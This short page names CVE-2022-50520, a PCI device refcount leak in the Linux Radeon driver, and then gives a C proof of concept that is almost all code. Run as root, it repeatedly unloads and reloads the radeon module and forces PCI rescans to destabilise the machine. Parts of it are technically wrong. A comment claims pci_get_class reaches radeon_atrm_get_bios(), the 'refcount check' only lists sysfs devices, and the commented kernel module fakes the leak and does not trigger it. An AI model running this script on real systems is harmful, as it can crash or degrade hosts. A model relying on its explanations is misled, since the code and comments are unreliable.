CVE-2022-50520 Linux内核Radeon驱动PCI设备引用计数泄漏漏洞

// PoC: Triggering PCI device refcount leak in radeon_atrm_get_bios() // This PoC demonstrates how to trigger the vulnerability by repeatedly // loading/unloading the radeon driver module #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> // Method 1: Trigger via modprobe loop // Requires root privileges and a system with Radeon GPU void trigger_via_modprobe_loop() { printf("Triggering refcount leak via radeon module reload...\n"); for (int i = 0; i < 1000; i++) { // Unload radeon module (may fail if in use) system("rmmod radeon 2>/dev/null"); usleep(100000); // Reload radeon module system("modprobe radeon 2>/dev/null"); usleep(100000); } printf("Module reloaded 1000 times. Check refcount:\n"); system("ls /sys/bus/pci/devices/ | head -5"); } // Method 2: Trigger via sysfs hotplug events void trigger_via_sysfs_rescan() { printf("Triggering refcount leak via PCI rescan...\n"); FILE *f = fopen("/sys/bus/pci/rescan", "w"); if (f) { for (int i = 0; i < 100; i++) { fprintf(f, "1\n"); fflush(f); usleep(50000); } fclose(f); } } // Method 3: Direct kernel module to trigger the vulnerable function // (requires writing a kernel module) /* #include <linux/module.h> #include <linux/pci.h> static int __init trigger_refcount_leak_init(void) { struct pci_dev *pdev = NULL; // This call internally invokes radeon_atrm_get_bios() path // Each call leaks one reference on the matched PCI device while ((pdev = pci_get_class(PCI_CLASS_DISPLAY_VGA << 8, pdev)) != NULL) { if (pdev->vendor == PCI_VENDOR_ID_ATI) { // Simulating the vulnerable code path // In real vulnerable code: break without pci_dev_put(pdev) printk(KERN_INFO "Found ATI device: %s\n", pci_name(pdev)); // MISSING: pci_dev_put(pdev); <-- This is the bug break; // Bug: refcount leak here } } return 0; } static void __exit trigger_refcount_leak_exit(void) { printk(KERN_INFO "Module unloaded\n"); } module_init(trigger_refcount_leak_init); module_exit(trigger_refcount_leak_exit); MODULE_LICENSE("GPL"); */ int main() { if (getuid() != 0) { printf("This PoC requires root privileges.\n"); return 1; } trigger_via_modprobe_loop(); trigger_via_sysfs_rescan(); printf("PoC execution complete.\n"); printf("Monitor system stability and dmesg for errors.\n"); return 0; }